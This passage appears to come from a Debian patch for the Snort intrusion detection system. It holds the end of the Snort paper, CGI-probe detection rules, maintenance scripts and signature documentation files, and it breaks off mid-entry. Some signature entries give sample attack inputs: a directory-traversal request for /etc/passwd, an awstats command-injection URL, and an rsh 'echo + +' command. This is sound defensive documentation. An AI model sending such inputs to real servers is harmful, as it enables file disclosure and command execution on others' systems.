+[FYD97] The Art of Port Scanning, Fyodor, Phrack #51, 1997.
+<http://www.insecure.org/nmap/p51-11.txt>
+
+[SWT92] Centralized System Monitoring With Swatch, Stephen E. Hansen and
+E. Todd Atkins, USENIX Seventh Systems Administration Conference, 1993
+<http://www.stanford.edu/~atkins/swatch/lisa93.html>
+
+[SEDG97] Algorithms in C: Fundamentals, Data Structures, Sorting, Searching,
+Robert Sedgewick, Addison-Wesely Publishing Company, 1997	
+
+[IRDP99] L0pht Security Advisory, Silicosis and Mudge, August 1999
+<http://www.l0pht.com/advisories/rdp.txt>
+
+[ALMN99] Sendmail, Eric Allman, 1999
+<http://www.sendmail.com>
+
+[PTA98] Insertion, Evasion, and Denial of Service: Eluding Network Intrusion 
+Detection, Thomas Ptacek and Timothy Newsham, Secure Networks Inc, 1998
+<http://www.nai.com/services/support/whitepapers/security/IDSpaper.pdf>
+
+[MJR99] Burglar Alarms for Detecting Intrusions, Marcus Ranum, NFR Inc, 1999
+<http://www.blackhat.com/html/bh-usa-99/bh3-speakers.html>
+
+Author Information
+
+	Martin Roesch is a Network Security Engineer with Stanford
+Telecommunications Inc.  He holds a B.S. in Computer Engineering from
+Clarkson University.  He has extensive experience with intrusion detection
+systems and has developed several systems professionally.  He was a primary
+software engineer during the development of GTE Internetworking's Global
+Network Infrastructure IDS, and designed and developed GTE's new commercial
+honeypot/deception system "Sentinel".  He is also a member of the
+Trinux Linux Security Toolkit distribution development team.  Snort is his 
+first Open Source Software project, and has been an excellent learning 
+experience for him.  Contact him at <roesch@clark.net>.
+
+Appendix A.
+
+Sample NFR rule to detect web server CGI probes (n-code sample excerpted from
+the L0pht's NFR IDS Modules web page at <http://www.l0pht.com/NFR>).
+
+---------------------------------------------------------------------------
+badweb_schema = library_schema:new( 1, ["time", "int", 
+                                        "ip", "ip", "str"], scope());
+
+# list of web servers to watch.  List IP address of servers or a netmask 
+# that matches all. use 0.0.0.0:0.0.0.0 to match any server
+
+da_web_servers = [ 0.0.0.0:0.0.0.0 ] ;
+
+query_list = [ "/cgi-bin/nph-test-cgi?",
+               "/cgi-bin/test-cgi?", 
+               "/cgi-bin/perl.exe?", 
+               "/cgi-bin/phf?" 
+                ] ;
+
+filter bweb tcp ( client, dport: 80 )
+{
+        if (! ( tcp.connDst inside da_web_servers) )
+                return;
+        declare $blob inside tcp.connSym;
+        if ($blob == null)
+                $blob = tcp.blob;
+        else
+                $blob = cat ( $blob, tcp.blob );
+        while (1 == 1) {
+          $x = index( $blob, "\n" );
+          if ($x < 0)           # break loop if no complete line yet
+            break;
+          $t=substr($blob,$x-1,1);      # look for cr at end of line
+          if ($t == '\r')
+            $t=substr($blob,0,$x-1);    # tear off line
+          else
+            $t=substr($blob,0,$x);
+
+          $counter=0;
+          foreach $y inside (query_list) {
+            $z = index( $blob, $y );
+            if ( $z >= 0) {
+              $counter=1;
+              # save the time, the connection hash, the client,
+              # the server, and the command to a histogram
+              record system.time, tcp.connHash, tcp.connSrc, tcp.connDst, $t to badweb_hist;
+
+            }
+          }
+          if ($counter)
+            break;
+        }
+        # keep us from getting flooded if there is no newline in the data
+        if (strlen($blob) > 4096)
+                $blob = "";
+
+        # save the blob for next pass
+        $blob = substr($blob, $x + 1);
+
+}
+
+badweb_hist = recorder ("bin/histogram packages/test/badweb.cfg",
+        "badweb_schema" );
+--------------------------------------------------------------------------------- 
+
+
+
+Snort rules to detect the same web CGI probes.
+--------------------------------------------------------------------------------- 
+alert tcp any any -> any 80 (msg:"CGI-nph-tst-cgi"; content:"cgi-bin/nph-test-cgi?"; flags: PA;)
+alert tcp any any -> any 80 (msg:"CGI-test-cgi"; content:"cgi-bin/test-cgi?"; flags: PA;)
+alert tcp any any -> any 80 (msg:"CGI-perl.exe"; content:"cgi-bin/perl.exe?"; flags: PA;)
+alert tcp any any -> any 80 (msg:"CGI-phf"; content:"cgi-bin/phf?"; flags: PA;)
+--------------------------------------------------------------------------------- 
--- snort-2.7.0.orig/debian/my/diff
+++ snort-2.7.0/debian/my/diff
@@ -0,0 +1,85 @@
+---- start diff ---
+
+*** snort-stat	Tue Feb 27 10:26:02 2001
+---- snort-stat.tomeck	Tue Feb 27 10:38:25 2001
+***************
+*** 100,110 ****
+  }
+
+  #
+! ###################  print mail  ##################################
+  #
+
+! open(MAIL,"| $sendmail $to") || die $!;
+! printf MAIL "To: %s\n".
+  	    "Subject: %s: snort daily report\n\n".
+  	    "The log begins from: %3s %02d %02d:%02d:%02d\n".
+  	    "The log ends at:     %3s %02d %02d:%02d:%02d\n".
+---- 100,121 ----
+  }
+
+  #
+! ################### Make tempfile ################################
+  #
+
+! $cnt=0;
+! while(1) {
+!         $tmpfile = "/tmp/snort-stat.$$.$cnt";
+! 	last unless -f $tmpfile;
+! 	$cnt++;
+! }
+!
+! #
+! ################ Write report to tempfile  #######################
+! #
+!
+! open(TMP,"> $tmpfile") || die $!;
+! printf TMP "To: %s\n".
+  	    "Subject: %s: snort daily report\n\n".
+  	    "The log begins from: %3s %02d %02d:%02d:%02d\n".
+  	    "The log ends at:     %3s %02d %02d:%02d:%02d\n".
+***************
+*** 129,143 ****
+  $s0{$k}, $_[2],            $_[1],           $hostname
+  .
+
+! select(MAIL);
+  $^	= SAME_ATTACK_TOP;
+  $~	= SAME_ATTACK;
+
+  foreach $k (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+      @_ = split ",",$k;
+      $hostname=`host $_[0] 2>/dev/null`;
+      $hostname=$_[0] if (not defined $hostname) || ($hostname eq "");
+      $hostname=~ s/Name: //g; chomp($hostname);
+!     write if $s0{$k} > $treshold;
+  }
+! close(MAIL) || die $!;
+---- 140,164 ----
+  $s0{$k}, $_[2],            $_[1],           $hostname
+  .
+
+! select(TMP);
+  $^	= SAME_ATTACK_TOP;
+  $~	= SAME_ATTACK;
+
+  foreach $k (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+      @_ = split ",",$k;
++     last if  $s0{$k} <= $treshold;
+      $hostname=`host $_[0] 2>/dev/null`;
+      $hostname=$_[0] if (not defined $hostname) || ($hostname eq "");
+      $hostname=~ s/Name: //g; chomp($hostname);
+!     write;
+  }
+! select(STDOUT);
+! close(TMP);
+!
+! #
+! ###################  send mail  ##################################
+! #
+!
+! system("cat $tmpfile | $sendmail $to");
+! unlink("$tmpfile");
+!
+
+--- end diff ---
--- snort-2.7.0.orig/debian/my/snort_rules_update
+++ snort-2.7.0/debian/my/snort_rules_update
@@ -0,0 +1,40 @@
+#!/bin/bash
+# contributed by Marcel <user04113@softhome.net>, 2004.
+# and later modified by shizuma@vif.net and Javier Fernandez-Sanguino
+# to support oinkcodes
+# 
+# Note that this script is more error-prone than the oinkmaster
+# scripts. It is recommended you install the 'oinkmaster' package
+# if you want to update Snort rules
+#
+# Example cron-entry:
+#
+# 7 0 * * * test -r /usr/local/bin/snort-update && /usr/local/bin/snort-update
+#
+
+vers=snapshot-CURRENT
+# vers=snapshot-2-7
+
+# get your snort code at www.snort.org and enter it here
+oinkcode=""
+
+if [ -z "$oinkcode" ] ; then
+    echo "You need an oinkcode to run this script!" >&2
+    echo "Aborting" >&2
+    exit 1
+fi
+
+/etc/init.d/snort stop
+pushd /tmp
+wget http://www.snort.org/pub-bin/oinkmaster.cgi/${oinkcode}/snortrules-${vers}.tar.gz && ( \
+	tar zxf snortrules-${vers}.tar.gz; \
+	test "$vers" == "snapshot-2_1" && rm rules/netbios.rules; \
+	mv rules/*.rules /etc/snort/rules/; \
+	rm rules/snort.conf; \
+	mv rules/* /etc/snort/; \
+	rmdir rules; \
+	rm snortrules-${vers}.tar.gz; \
+	chown -R root.root /etc/snort/*; \
+)
+popd
+/etc/init.d/snort start
--- snort-2.7.0.orig/doc/snort_manual.tex
+++ snort-2.7.0/doc/snort_manual.tex
@@ -15,7 +15,7 @@
 \IfFileExists{url.sty}{\usepackage{url}}
                       {\newcommand{\url}{\texttt}}
 
-\usepackage{html}
+\usepackage{hyperref}
 
 % \makeatletter
 
@@ -70,18 +70,18 @@
 }
 %\end{latexonly}
 
-\begin{htmlonly}
-\newenvironment{note}{
-        \begin{rawhtml}
-        <p><table border="1"><tr><td><b>
-        Note:&nbsp;&nbsp;</b>
-        \end{rawhtml}
-}{
-        \begin{rawhtml}
-        </b></td></tr></table></p>
-        \end{rawhtml}
-}
-\end{htmlonly}
+%\begin{htmlonly}
+%\newenvironment{note}{
+%        \begin{rawhtml}
+%        <p><table border="1"><tr><td><b>
+%        Note:&nbsp;&nbsp;</b>
+%        \end{rawhtml}
+%}{
+%        \begin{rawhtml}
+%        </b></td></tr></table></p>
+%        \end{rawhtml}
+%}
+%\end{htmlonly}
 
 \usepackage{babel}
 
--- snort-2.7.0.orig/doc/README.database
+++ snort-2.7.0/doc/README.database
@@ -324,6 +324,9 @@
 
 V. Changelog of Database schema
 
+2007-03-15 -- v107
+  + ALL:  Updated to include signature.sig_gid to log the generator ID
+
 2002-09-03 -- v106
   + ALL: added sensor.last_cid to store the last used cid for a 
          given sid
--- snort-2.7.0.orig/doc/faq.tex
+++ snort-2.7.0/doc/faq.tex
@@ -2,9 +2,9 @@
 
 %latex2html -info 0 -local_icons -show_section_numbers -link 2 -split +1 faq.tex
 \documentclass{article}
-\usepackage{html}
+\usepackage{hyperref}
 \usepackage{graphicx}
-\usepackage{fancyheadings}
+\usepackage{fancyhdr}
 \usepackage{makeidx}
 
 %% Margins
@@ -98,11 +98,11 @@
 
 \newpage
 
-\begin{latexonly}
+%\begin{latexonly}
 \tableofcontents
 
 \newpage
-\end{latexonly}
+%\end{latexonly}
 
 \section{Background}
 
--- snort-2.7.0.orig/doc/signatures/409.txt
+++ snort-2.7.0/doc/signatures/409.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+409
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Echo Reply with an invalid or undefined ICMP Code.
+
+--
+
+Impact:
+Information-gathering.  An ICMP Echo Reply message is sent in response to an ICMP Echo Request message.  If the ICMP Echo Reply message reaches the requesting host it indicates that the replying host is alive.  Most OS's (operating systems) will accept an ICMP Echo Reply message with an invalid or undefined ICMP code set as a valid ICMP Echo Reply.
+
+--
+
+Detailed Information:
+ICMP Type 0 Code 0 is the RFC defined messaging type for ICMP Echo Reply datagrams.  This type of message is used to determine if a host is active on the network.
+
+--
+
+Attack Scenarios:
+Remote attackers my generate ICMP Echo Reply datagrams with invalid ICMP Codes in an attempt to cause faults in the applications or hosts generating ICMP Echo Requests.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to prevent ICMP Type 0 messages from entering the network.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3114.txt
+++ snort-2.7.0/doc/signatures/3114.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3114
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3128.txt
+++ snort-2.7.0/doc/signatures/3128.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3128
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2841.txt
+++ snort-2.7.0/doc/signatures/2841.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2841
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1195.txt
+++ snort-2.7.0/doc/signatures/1195.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1195
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000364.txt
+++ snort-2.7.0/doc/signatures/100000364.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000364
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "admin.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "admin.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/832.txt
+++ snort-2.7.0/doc/signatures/832.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+832
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1173.txt
+++ snort-2.7.0/doc/signatures/1173.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1173
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/526.txt
+++ snort-2.7.0/doc/signatures/526.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid: 526
+
+--
+Summary:
+This event is generated when SYN packets contain data greater than what 
+is normally expected.
+
+--
+Impact:
+Possible Denial of Service attack (DoS) or IDS evasion.
+
+--
+Detailed Information:
+Under normal circumstances TCP SYN packets are exchanged between hosts 
+to synchronize the TCP sequence numbers in a transaction. A SYN packet 
+with a datagram size larger than 6 bytes may be an indication of a 
+Denial of Service attack or an attempt to evade IDS.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted packets with the SYN 
+flag set with a datagram size larger than 6 bytes. This may be achieved 
+using a script or tool.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/incident_notes/IN-99-07.html
+
+--
--- snort-2.7.0.orig/doc/signatures/806.txt
+++ snort-2.7.0/doc/signatures/806.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+
+806
+
+--
+Summary:
+This event is generated when an attempt is made to access a file outside the root directory of a webserver running YaBB.cgi.
+
+
+--
+Impact:
+
+Information disclosure.
+
+--
+Detailed Information:
+
+YaBB.cgi is widely used web-based BBS script. Due to input validation problems in YaBB, a remote attacker can traverse the directory structure and view any files and view any file that a webserver has access to.
+
+This event indicates that a remote attacker has attempted to view a file outside the webservers root directory.
+
+--
+Affected Systems:
+
+YaBB YaBB 9.1.2000
+
+--
+Attack Scenarios:
+
+An attacker issues the following command on port 80 of the webserver:
+
+GET http://target/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 HTTP/1.0
+
+--
+Ease of Attack:
+
+Simple. No exploit software required.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+ 
+Update to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/608.txt
+++ snort-2.7.0/doc/signatures/608.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 608
+
+--
+Summary: 
+This event is generated when an attempt to modify access control permissions for remote shell logins is attempted.
+
+--
+Impact: 
+An attacker may have modified remote login permissions such that any host is allowed to initiate a remote session on the target host.
+
+-- 
+Detailed Information: 
+The rule generates an event when system reconfiguration is attempted via "rsh". 
+
+The command "echo + +" is used to relax access control permissions for r-services to allow access from any site without the need for password authentication. 
+
+This activity is indicative of attempts to abuse hosts using a default configuration. 
+
+Some UNIX systems use the "rsh" service to allow a connection to the machine for establishing an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with "rsh" enabled and reconfigures it to allow access from any location
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.whitehats.com/info/IDS388
+
+--
--- snort-2.7.0.orig/doc/signatures/3401.txt
+++ snort-2.7.0/doc/signatures/3401.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3401
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3464.txt
+++ snort-2.7.0/doc/signatures/3464.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3464
+
+--
+Summary:
+This event is generated when an attempt is made to execute system
+commands via the cgi script awstats.pl.
+
+--
+Impact:
+Possible execution of system commands.
+
+--
+Detailed Information:
+Adavanced Web Statistics (awstats) is used to process web server log
+files and produces reports of web server usage.
+
+Some versions of awstats do not correctly sanitize user input. This may
+present an attacker with the opportunity to supply system commands via
+the "logfile" parameter. For the attack to be sucessful the "update"
+parameter must also have the value set to "1". This event indicates that
+an attempt has been made to pass a system command as a value to the
+"logfile" parameter the awstats.pl cgi script.
+
+--
+Affected Systems:
+	Awstats 6.1 and prior
+
+--
+Attack Scenarios:
+An attacker can supply commands of their choosing as a value for the
+logfile parameter by enclosing the commands in pipe charecters. For
+example: 
+
+ http://www.foo.com/cgi-bin/awstats.pl?update=1&logfile=|<command here>|
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+Disallow access to awstats.pl as a CGI script.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1604.txt
+++ snort-2.7.0/doc/signatures/1604.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1604
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2814.txt
+++ snort-2.7.0/doc/signatures/2814.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2814
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
